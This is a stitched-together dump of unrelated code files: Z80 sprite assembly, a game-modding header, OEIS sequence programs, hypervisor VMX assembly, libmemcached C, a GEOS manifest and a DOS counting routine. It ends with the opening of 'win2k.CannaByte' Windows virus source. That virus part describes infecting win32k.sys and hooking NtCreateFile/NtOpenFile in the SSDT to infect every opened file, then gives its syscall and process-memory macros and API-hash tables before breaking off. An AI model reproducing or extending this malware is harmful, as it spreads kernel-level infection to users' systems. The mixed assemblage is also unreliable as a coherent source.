52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
; DRAW XOR SPRITE 1 BYTE DEFINITION ROTATED, ON RIGHT BORDER
; 01.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
INCLUDE "clib_target_cfg.asm"
SECTION code_temp_sp1
PUBLIC _SP1_DRAW_XOR1RB
EXTERN _SP1_DRAW_XOR1LB
EXTERN SP1RETSPRDRAW
; following data segment copied into struct sp1_cs
ld de,0
nop
ld hl,0
call _SP1_DRAW_XOR1RB
; following draw code called by way of SP1UpdateNow
;
; a = hor rot table
; bc = graphic disp
; de = graphic def ptr
; hl = left graphic def ptr
;
; 42 + 94*4 - 6 + 10 = 422 cycles
_SP1_DRAW_XOR1RB:
cp SP1V_ROTTBL/256
jp z, SP1RETSPRDRAW
add hl,bc
ld d,a
inc d
; d = shift table
; hl = left sprite def (graph only)
_SP1Xor1RBRotate:
jp _SP1_DRAW_XOR1LB + 7
|
#pragma once
// This file is generated from the Game's Reflection data
#include <cstdint>
#include <RED4ext/Common.hpp>
#include <RED4ext/CName.hpp>
#include <RED4ext/NativeTypes.hpp>
#include <RED4ext/Scripting/Natives/Generated/game/ui/MenuGameController.hpp>
namespace RED4ext
{
namespace game::ui {
struct PreviewGameController : game::ui::MenuGameController
{
static constexpr const char* NAME = "gameuiPreviewGameController";
static constexpr const char* ALIAS = "inkPreviewGameController";
CName sceneName; // F0
NodeRef cameraRef; // F8
uint8_t unk100[0x110 - 0x100]; // 100
float yawSpeed; // 110
float yawDefault; // 114
};
RED4EXT_ASSERT_SIZE(PreviewGameController, 0x118);
} // namespace game::ui
using inkPreviewGameController = game::ui::PreviewGameController;
} // namespace RED4ext
|
; A045346: Primes congruent to {0, 1, 2, 4, 5, 6} mod 7.
; Submitted by Jon Maiga
; 2,5,7,11,13,19,23,29,37,41,43,47,53,61,67,71,79,83,89,97,103,107,109,113,127,131,137,139,149,151,163,167,173,179,181,191,193,197,211,223,229,233,239,251,257,263,271,277,281,293,307,313,317,331,337,347,349,359,373,379,383,389,397,401,419,421,431,433,439,443,449,457,461,463,467,487,491,499,503,509,523,541,547,557,569,571,587,593,599,601,607,613,617,631,641,643,653,659,673,677
mov $1,6
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,7
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
div $5,7
mov $6,$5
lpe
mov $0,$5
add $0,1
|
; A332187: a(n) = 8*(10^(2n+1)-1)/9 - 10^n.
; Submitted by Jon Maiga
; 7,878,88788,8887888,888878888,88888788888,8888887888888,888888878888888,88888888788888888,8888888887888888888,888888888878888888888,88888888888788888888888,8888888888887888888888888,888888888888878888888888888,88888888888888788888888888888,8888888888888887888888888888888
add $0,1
mov $1,10
pow $1,$0
mul $1,8
sub $1,4
bin $1,2
mov $0,$1
mul $0,14
div $0,5040
|
; Copyright (c) 2015-2018, Satoshi Tanda. All rights reserved.
; Use of this source code is governed by a MIT-style license that can be
; found in the LICENSE file.
;
; This module implements all assembler code
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; References to C functions
;
EXTERN VmmVmExitHandler : PROC
EXTERN VmmVmxFailureHandler : PROC
EXTERN UtilDumpGpRegisters : PROC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; constants
;
.CONST
VMX_OK EQU 0
VMX_ERROR_WITH_STATUS EQU 1
VMX_ERROR_WITHOUT_STATUS EQU 2
KTRAP_FRAME_SIZE EQU 190h
MACHINE_FRAME_SIZE EQU 28h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; macros
;
; Saves all general purpose registers to the stack
PUSHAQ MACRO
push rax
push rcx
push rdx
push rbx
push -1 ; dummy for rsp
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
ENDM
; Loads all general purpose registers from the stack
POPAQ MACRO
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
add rsp, 8 ; dummy for rsp
pop rbx
pop rdx
pop rcx
pop rax
ENDM
; Dumps all general purpose registers and a flag register.
ASM_DUMP_REGISTERS MACRO
pushfq
PUSHAQ ; -8 * 16
mov rcx, rsp ; all_regs
mov rdx, rsp
add rdx, 8*17 ; stack_pointer
sub rsp, 28h ; 28h for alignment
call UtilDumpGpRegisters ; UtilDumpGpRegisters(all_regs, stack_pointer);
add rsp, 28h
POPAQ
popfq
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; implementations
;
.CODE
; bool __stdcall AsmInitializeVm(
; _In_ void (*vm_initialization_routine)(_In_ ULONG_PTR, _In_ ULONG_PTR,
; _In_opt_ void *),
; _In_opt_ void *context);
AsmInitializeVm PROC
; RSP is not 16 bit aligned when it gets called, but the following odd
; number (17 times) of push makes RSP 16 bit aligned.
pushfq
PUSHAQ ; -8 * 16
mov rax, rcx
mov r8, rdx
mov rdx, asmResumeVm
mov rcx, rsp
sub rsp, 20h
call rax ; vm_initialization_routine(rsp, asmResumeVm, context)
add rsp, 20h
POPAQ
popfq
xor rax, rax ; return false
ret
; This is where the virtualized guest start to execute after successful
; vmlaunch.
asmResumeVm:
nop ; keep this nop for ease of debugging
POPAQ
popfq
sub rsp, 8 ; align RSP
ASM_DUMP_REGISTERS
add rsp, 8 ; restore RSP
xor rax, rax
inc rax ; return true
ret
AsmInitializeVm ENDP
; void __stdcall AsmVmmEntryPoint();
AsmVmmEntryPoint PROC FRAME
; In oder for Windbg to display the stack trace of the guest while the
; VM-exit handlers are being executed, we use several tricks:
; - The use of the FRAME (above) attribute. This emits a function table
; entry for this function in the .pdata section. See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/proc?view=vs-2017
;
; - The use of the .PUSHFRAME pseudo operation: This emits unwind data
; indicating that a machine frame has been pushed on the stack. A machine
; frame is usually pushed by the CPU in response to a trap or fault (
; see: Exception- or Interrupt-Handler Procedures), hence this pseudo
; operation is often used for their handler code. (In Windows kernel, the
; use of this pseudo operation is often wrapped in the GENERATE_TRAP_FRAME
; macro.) In our case, since VM-exit does not push the machine frame, we
; manually allocate it in right above the VMM stack pointer. Nothing has
; to be done in this function with regard to pushing the machine frame
; since that and the VMM stack pointer are both already set up in
; VmpInitializeVm. See the diagram in VmpInitializeVm for more details.
; See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-pushframe?view=vs-2017
;
; - The use of the .ALLOCSTACK pseudo operation: This also emits another
; unwind data indicating how much the function uses stack. (This pseudo
; code is often wrapped by the alloc_stack macro and used within the
; GENERATE_TRAP_FRAME macro). This function consumes 108h of stack on
; the top of the KTRAP_FRAME size (minus the machine frame size which is
; already allocated outside this function). See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-allocstack?view=vs-2017
.PUSHFRAME
sub rsp, KTRAP_FRAME_SIZE - MACHINE_FRAME_SIZE
.ALLOCSTACK KTRAP_FRAME_SIZE - MACHINE_FRAME_SIZE + 108h
; No need to save the flag registers since it is restored from the VMCS at
; the time of vmresume.
PUSHAQ ; -8 * 16
mov rcx, rsp ; save the "stack" parameter for VmmVmExitHandler
; save volatile XMM registers
sub rsp, 68h ; 8 for alignment
movaps xmmword ptr [rsp + 0h], xmm0
movaps xmmword ptr [rsp + 10h], xmm1
movaps xmmword ptr [rsp + 20h], xmm2
movaps xmmword ptr [rsp + 30h], xmm3
movaps xmmword ptr [rsp + 40h], xmm4
movaps xmmword ptr [rsp + 50h], xmm5
sub rsp, 20h
; All stack allocation is done now. Indicate the end of prologue as required
; by the FRAME attribute.
.ENDPROLOG
call VmmVmExitHandler ; bool vm_continue = VmmVmExitHandler(stack);
add rsp, 20h
; restore XMM registers
movaps xmm0, xmmword ptr [rsp + 0h]
movaps xmm1, xmmword ptr [rsp + 10h]
movaps xmm2, xmmword ptr [rsp + 20h]
movaps xmm3, xmmword ptr [rsp + 30h]
movaps xmm4, xmmword ptr [rsp + 40h]
movaps xmm5, xmmword ptr [rsp + 50h]
add rsp, 68h
test al, al
jz exitVm ; if (!vm_continue) jmp exitVm
POPAQ
vmresume
jmp vmxError
exitVm:
; Executes vmxoff and ends virtualization
; rax = Guest's rflags
; rdx = Guest's rsp
; rcx = Guest's rip for the next instruction
POPAQ
vmxoff
jz vmxError ; if (ZF) jmp
jc vmxError ; if (CF) jmp
push rax
popfq ; rflags <= GurstFlags
mov rsp, rdx ; rsp <= GuestRsp
push rcx
ret ; jmp AddressToReturn
vmxError:
; Diagnose a critical error
pushfq
PUSHAQ ; -8 * 16
mov rcx, rsp ; all_regs
sub rsp, 28h ; 28h for alignment
call VmmVmxFailureHandler ; VmmVmxFailureHandler(all_regs);
add rsp, 28h
int 3
AsmVmmEntryPoint ENDP
; unsigned char __stdcall AsmVmxCall(_In_ ULONG_PTR hypercall_number,
; _In_opt_ void *context);
AsmVmxCall PROC
vmcall ; vmcall(hypercall_number, context)
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmVmxCall ENDP
; void __stdcall AsmWriteGDT(_In_ const GDTR *gdtr);
AsmWriteGDT PROC
lgdt fword ptr [rcx]
ret
AsmWriteGDT ENDP
; void __stdcall AsmWriteLDTR(_In_ USHORT local_segmeng_selector);
AsmWriteLDTR PROC
lldt cx
ret
AsmWriteLDTR ENDP
; USHORT __stdcall AsmReadLDTR();
AsmReadLDTR PROC
sldt ax
ret
AsmReadLDTR ENDP
; void __stdcall AsmWriteTR(_In_ USHORT task_register);
AsmWriteTR PROC
ltr cx
ret
AsmWriteTR ENDP
; USHORT __stdcall AsmReadTR();
AsmReadTR PROC
str ax
ret
AsmReadTR ENDP
; void __stdcall AsmWriteES(_In_ USHORT segment_selector);
AsmWriteES PROC
mov es, cx
ret
AsmWriteES ENDP
; USHORT __stdcall AsmReadES();
AsmReadES PROC
mov ax, es
ret
AsmReadES ENDP
; void __stdcall AsmWriteCS(_In_ USHORT segment_selector);
AsmWriteCS PROC
mov cs, cx
ret
AsmWriteCS ENDP
; USHORT __stdcall AsmReadCS();
AsmReadCS PROC
mov ax, cs
ret
AsmReadCS ENDP
; void __stdcall AsmWriteSS(_In_ USHORT segment_selector);
AsmWriteSS PROC
mov ss, cx
ret
AsmWriteSS ENDP
; USHORT __stdcall AsmReadSS();
AsmReadSS PROC
mov ax, ss
ret
AsmReadSS ENDP
; void __stdcall AsmWriteDS(_In_ USHORT segment_selector);
AsmWriteDS PROC
mov ds, cx
ret
AsmWriteDS ENDP
; USHORT __stdcall AsmReadDS();
AsmReadDS PROC
mov ax, ds
ret
AsmReadDS ENDP
; void __stdcall AsmWriteFS(_In_ USHORT segment_selector);
AsmWriteFS PROC
mov fs, cx
ret
AsmWriteFS ENDP
; USHORT __stdcall AsmReadFS();
AsmReadFS PROC
mov ax, fs
ret
AsmReadFS ENDP
; void __stdcall AsmWriteGS(_In_ USHORT segment_selector);
AsmWriteGS PROC
mov gs, cx
ret
AsmWriteGS ENDP
; USHORT __stdcall AsmReadGS();
AsmReadGS PROC
mov ax, gs
ret
AsmReadGS ENDP
; ULONG_PTR __stdcall AsmLoadAccessRightsByte(_In_ ULONG_PTR segment_selector);
AsmLoadAccessRightsByte PROC
lar rax, rcx
ret
AsmLoadAccessRightsByte ENDP
; void __stdcall AsmInvalidateInternalCaches();
AsmInvalidateInternalCaches PROC
invd
ret
AsmInvalidateInternalCaches ENDP
; void __stdcall AsmWriteCR2(_In_ ULONG_PTR cr2_value);
AsmWriteCR2 PROC
mov cr2, rcx
ret
AsmWriteCR2 ENDP
; unsigned char __stdcall AsmInvept(
; _In_ InvEptType invept_type,
; _In_ const InvEptDescriptor *invept_descriptor);
AsmInvept PROC
; invept ecx, oword ptr [rdx]
db 66h, 0fh, 38h, 80h, 0ah
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmInvept ENDP
; unsigned char __stdcall AsmInvvpid(
; _In_ InvVpidType invvpid_type,
; _In_ const InvVpidDescriptor *invvpid_descriptor);
AsmInvvpid PROC
; invvpid ecx, oword ptr [rdx]
db 66h, 0fh, 38h, 81h, 0ah
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmInvvpid ENDP
PURGE PUSHAQ
PURGE POPAQ
PURGE ASM_DUMP_REGISTERS
END
|
/* LibMemcached
* Copyright (C) 2006-2010 Brian Aker
* All rights reserved.
*
* Use and distribution licensed under the BSD license. See
* the COPYING file in the parent directory for full text.
*
* Summary:
*
*/
#include <libmemcached/common.h>
memcached_return_t memcached_vdo(org::libmemcached::Instance* instance,
libmemcached_io_vector_st vector[],
const size_t count,
const bool with_flush)
{
memcached_return_t rc;
assert_msg(vector, "Invalid vector passed");
if (memcached_failed(rc= memcached_connect(instance)))
{
WATCHPOINT_ERROR(rc);
assert_msg(instance->error_messages, "memcached_connect() returned an error but the Instance showed none.");
return rc;
}
/*
** Since non buffering ops in UDP mode dont check to make sure they will fit
** before they start writing, if there is any data in buffer, clear it out,
** otherwise we might get a partial write.
**/
if (memcached_is_udp(instance->root))
{
#ifndef __MINGW32__
if (vector[0].buffer or vector[0].length)
{
return memcached_set_error(*instance->root, MEMCACHED_NOT_SUPPORTED, MEMCACHED_AT,
memcached_literal_param("UDP messages was attempted, but vector was not setup for it"));
}
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
increment_udp_message_id(instance);
vector[0].buffer= instance->write_buffer;
vector[0].length= UDP_DATAGRAM_HEADER_LENGTH;
msg.msg_iov= (struct iovec*)vector;
#if defined(TARGET_OS_OSX) && TARGET_OS_OSX
msg.msg_iovlen= int(count);
#else
msg.msg_iovlen= count;
#endif
uint32_t retry= 5;
while (--retry)
{
ssize_t sendmsg_length= ::sendmsg(instance->fd, &msg, 0);
if (sendmsg_length > 0)
{
break;
}
else if (sendmsg_length < 0)
{
if (errno == EMSGSIZE)
{
return memcached_set_error(*instance, MEMCACHED_WRITE_FAILURE, MEMCACHED_AT);
}
return memcached_set_errno(*instance, errno, MEMCACHED_AT);
}
}
return MEMCACHED_SUCCESS;
#else
return MEMCACHED_FAILURE;
#endif
}
bool sent_success= memcached_io_writev(instance, vector, count, with_flush);
if (sent_success == false)
{
if (memcached_last_error(instance->root) == MEMCACHED_SUCCESS)
{
return memcached_set_error(*instance, MEMCACHED_WRITE_FAILURE, MEMCACHED_AT);
}
else
{
rc= MEMCACHED_WRITE_FAILURE;
}
}
else if (memcached_is_replying(instance->root))
{
memcached_server_response_increment(instance);
}
return rc;
}
|
COMMENT @**********************************************************************
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Spline library
FILE: splineManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/91 Initial Version
DESCRIPTION:
This file manages the .asm files that implement the VisSpline object
RCS STAMP:
$Id: splineManager.asm,v 1.1 97/04/07 11:09:04 newdeal Exp $
******************************************************************************@
include splineGeode.def
include splineVariables.def
;******************************************************************************
; Storage area (in dgroup) for the CLASS RECORD of VisSplineClass
;******************************************************************************
SplineClassStructures segment resource
VisSplineClass
SplineClassStructures ends
;******************************************************************************
; Code to implement this object
;******************************************************************************
include splineAttrs.asm
include splineControls.asm
include splineData.asm
include splineDragRect.asm
include splineDragSelect.asm
include splineDraw.asm
include splineEC.asm
include splineEndSelect.asm
include splineGoto.asm
include splineGState.asm
include splineGString.asm
include splineInsertDelete.asm
include splineKeyboard.asm
include splineMarker.asm
include splineMath.asm
include splineMethods.asm
include splineMode.asm
include splinePtr.asm
include splineOperate.asm
include splineScratch.asm
include splineSplitJoin.asm
include splineStartSelect.asm
include splineTarget.asm
include splineUI.asm
include splineUndo.asm
include splineUtils.asm
include splineVisBounds.asm
SplineUtilCode segment
include splineCutPaste.asm
include splineSuspend.asm
SplineUtilCode ends
|
[org 0x0100]
jmp start
num1: dw 2, 3, 6, 4, 8, 67, 32
result1: dw 0
result2: dw 0
start:
xor ax,ax
mov bx,0
mov cx,0
loop:
mov ax,[num1+bx]
Test ax,1
jnz even ;if
add cx,1
even: ; else
add bx,2
cmp bx,14
jnz loop
mov [result1],cx
mov ax,0
mov bx,0
mov dx,0
loop2:
mov ax,[num1+bx]
Test ax,1
jz odd1
add dx,1
odd1:
add bx,2
cmp bx,14
jne loop2
mov [result2],dx
mov ax, 0x4c00
int 0x21 |
;win2k.CannaByte coded by vallez
;
;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU
;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK
;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED.
;When a infected file arrives to a system it will infect the system.
;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT,
;and infect all files that will be opened.
;For that propose,the virus will try to go ring0 and intercept there system calls.
;For going to ring0 virus will infect win32k.sys and in the next restart the virus will
;be loaded in ring0.
;Ill no explain lot of more things here coz virus is very commented so its easily
;understandable.
;THX TO:
;-As always Xezaw :) my dear m3nt0r ;) (THE BEST m3nt0r) I must say u thx coz that lot of
;patience that u had haven with me :) im a "ceporro" (i dont know how to say this in
;english xDD)
;-My second dear m3nt0r :) mscorlib. How its possible u know all things i ask u? O_O xDD
;Thx coz this virus is a half ur virus :)
;-VirusBust :) a good friend who helped me a lot of too.
;-Pato,Nigthmare,isotope,ViR[-_-],magics,MrHangman,Oyzzo,kernel32 My best friends :)
;-Nmt and remains, ur articles have helped me lot of :)
;-GriYo who always helped me too a lot of :) when i have needed.
;-Ratter&Benny: i dont know u but i must say ur articles and virus codes have helped me
;lot of very much.
;-Well,"THX TO" part is the more difficult part to code coz always u will forget to thx
;somebody so i must say thx all people that i forget to put here :)
;-And OfCorz a infinitely BIG THX TO 'Lady Marian' :********************* U r resident
;in my memory all time :D
.586p
.model flat,stdcall
extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetModuleHandleA:proc
;29a files
include mz.inc
include pe.inc
include win32api.inc
include useful.inc
;macros
;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
;APIS'S NAMES CRCS AND LENGHTS
LoadLibraryACRC equ 3fc1bd8dh
LLNameLen equ 12
CloseHandleCRC equ 0b09315f4h
CHNameLen equ 11
FindFirstFileACRC equ 0c9ebd5ceh
FFFNameLen equ 14
FindNextFileACRC equ 75272948h
FNFNameLen equ 13
FindCloseCRC equ 0d82bf69ah
FCNameLen equ 9
GetTickCountCRC equ 5b4219f8h
GTCNameLen equ 12
WriteMemoryProcessCRC equ 4f58972eh
WMPNameLen equ 18
ReadMemoryProcessCRC equ 0f7c7ae42h
RMPNameLen equ 17
ResumeThreadCRC equ 3872beb9h
RTNameLen equ 12
ExitProcessCRC equ 251097CCh
EPNameLen equ 11
SetFileAttributesACRC equ 156b9702h
SFANameLen equ 18
CreateFileACRC equ 553b5c78h
CFNameLen equ 11
CreateFileMappingACRC equ 0b41b926ch
CFMNameLen equ 18
MapViewOfFileCRC equ 0A89b382fh
MVFNameLen equ 13
UnmapViewOfFileCRC equ 391ab6afh
UVFNameLen equ 15
SetFileTimeCRC equ 21804a03h
SFTNameLen equ 11
GetModuleHandleACRC equ 0B1866570h
GMHNameLen equ 16
GetLastErrorCRC equ 0d2e536b7h
GLENameLen equ 12
RegisterServiceProcessCRC equ 3b5ef61fh
RSPNameLen equ 22
SetCurrentDirectoryACRC equ 69b6849fh
SCDNameLen equ 20
GetCurrentDirectoryACRC equ 0c79dc4e3h
GCDNameLen equ 20
GetWindowsDirectoryACRC equ 0fff372beh
GWDNameLen equ 20
GetModuleFileNameACRC equ 08bff7a0h
GMFNNameLen equ 18
CreateProcessACRC equ 0a851d916h
CPNameLen equ 14
Module32FirstCRC equ 38891c00h
M32FNameLen equ 13
Module32NextCRC equ 0f6911852h
M32NNameLen equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen equ 24
VirtualProtectExCRC equ 5d180413h
VPNameLen equ 16
GetCurrentProcessCRC equ 0d0861aa4h
GCPNameLen equ 17
OpenProcessTokenCRC equ 0f9c60615h
OPTNameLen equ 16
LookupPrivilegeValueACRC equ 0da87bf62h
LPVNameLen equ 21
AdjustTokenPrivilegesCRC equ 0de3e5cfh
ATPNameLen equ 21
EnumProcessesCRC equ 0509a21ch
EPSNameLen equ 13
EnumProcessModulesCRC equ 0dea82ac2h
EPMNameLen equ 18
GetModuleInformationCRC equ 0f2a84636h
GMINameLen equ 20
SuspendThreadCRC equ 0bd76ac31h
STNameLen equ 13
FreeLibraryCRC equ 0da68238fh
FLNameLen equ 11
GetVersionCRC equ 4ccf1a0fh
GVNameLen equ 10
RasDialACRC equ 0b88da156h
RDNameLen equ 8
GetModuleBaseNameACRC equ 1720513eh
GMBNNameLen equ 18
OpenProcessCRC equ 0df27514bh
OPNameLen equ 11
ZwConnectPortCRC equ 0cbaec255h
ZCPNameLen equ 13
NtConnectPortCRC equ 0c88edce9h
NCPNameLen equ 13
ZwRequestPortCRC equ 0e28aebd1h
ZRPNameLen equ 13
DbgUiConnectToDbgCRC equ 09a51ac3ah
DUCTDNameLen equ 17
DbgSsInitializeCRC equ 0d198b351h
DSINameLen equ 15
DbgSsHandleKmApiMsgCRC equ 2e9c4e99h
DSHKAMNameLen equ 19
GetCurrentProcessIdCRC equ 1db413e3h
GCPINameLen equ 19
GetCurrentThreadIdCRC equ 8df87e63h
GCTINameLen equ 18
WaitForDebugEventCRC equ 96ab83a1h
WFDENameLen equ 17
ContinueDebugEventCRC equ 0d8e77e49h
CDENameLen equ 18
VirtualAllocExCRC equ 0e62e824dh
VANameLen equ 14
CreateRemoteThreadCRC equ 0ff808c10h
CRTNameLen equ 18
NtTerminateProcessCRC equ 94fcb0c0h
NTPNameLen equ 18
ExitThreadCRC equ 80af62e1h
ETNameLen equ 10
GetCurrentDirectoryWCRC equ 334971b2h
GCDWNameLen equ 20
FindFirstFileWCRC equ 3d3f609fh
FFFWNameLen equ 14
SleepCRC equ 0cef2eda8h
SNameLen equ 5
MoveFileACRC equ 0de9ff0d1h
MFNameLen equ 9
MapFileAndCheckSumACRC equ 462eeff7h
MFACSNameLen equ 19
CheckSumMappedFileCRC equ 0bbb4966eh
CSMFNameLen equ 18
CopyFileACRC equ 0199dc99h
CpFNameLen equ 9
KeServiceDescriptorTableCRC equ 32a4d557h
KSDTNameLen equ 24
NtCreateFileCRC equ 3ee6cc56h
NCFNameLen equ 12
ZwOpenFileCRC equ 0b679c176h
ZOFNameLen equ 10
ZwOpenSectionCRC equ 73bdfd70h
ZOSNameLen equ 13
ZwMapViewOfSectionCRC equ 0d287ee26h
ZMVOSNameLen equ 18
ZwCloseCRC equ 180c0d23h
ZCNameLen equ 7
ZwCreateSectionCRC equ 2c919477h
ZCSNameLen equ 15
ZwUnmapViewOfSectionCRC equ 9d35f923h
ZUVOSNameLen equ 20
NtOpenFileCRC equ 0a1b1dc21h
NOFNameLen equ 10
ZwDeleteFileCRC equ 6967772dh
ZDFNameLen equ 12
DeleteFileACRC equ 919b6bcbh
DFNameLen equ 11
Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string
TOKEN_PRIVILEGES struc
TP_count dd ?
TP_luid dq ?
TP_attribz dd ?
TOKEN_PRIVILEGES ends
unicode_string struc
us_Length dw ?
us_MaximumLength dw ?
us_Buffer dd ?
unicode_string ends
objects_attributes struc
oa_length dd ? ;lenght of this structure
oa_rootdir dd ?
oa_objectname dd ? ;name of the object
oa_attribz dd ? ;attributes of the object
oa_secdesc dd ?
oa_secqos dd ?
objects_attributes ends
pio_status struc
ps_ntstatus dd ?
ps_info dd ?
pio_status ends
TOKEN_ASSIGN_PRIMARY equ 00000001h
TOKEN_DUPLICATE equ 00000002h
TOKEN_IMPERSONATE equ 00000004h
TOKEN_QUERY equ 00000008h
TOKEN_QUERY_SOURCE equ 00000010h
TOKEN_ADJUST_PRIVILEGES equ 00000020h
TOKEN_ADJUST_GROUPS equ 00000040h
TOKEN_ADJUST_DEFAULT equ 00000080h
TOKEN_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED or \
TOKEN_ASSIGN_PRIMARY or \
TOKEN_DUPLICATE or \
TOKEN_IMPERSONATE or \
TOKEN_QUERY or \
TOKEN_QUERY_SOURCE or \
TOKEN_ADJUST_PRIVILEGES or \
TOKEN_ADJUST_GROUPS or \
TOKEN_ADJUST_DEFAULT
SE_PRIVILEGE_ENABLED equ 00000002h
CHECKSUM_SUCCESS equ 00000000h
CHECKSUM_OPEN_FAILURE equ 00000001h
CHECKSUM_MAP_FAILURE equ 00000002h
CHECKSUM_MAPVIEW_FAILURE equ 00000003h
CHECKSUM_UNICODE_FAILURE equ 00000004h
OBJ_CASE_INSENSITIVE equ 00000040h
FILE_DIRECTORY_FILE equ 00000001h
FILE_WRITE_THROUGH equ 00000002h
FILE_SEQUENTIAL_ONLY equ 00000004h
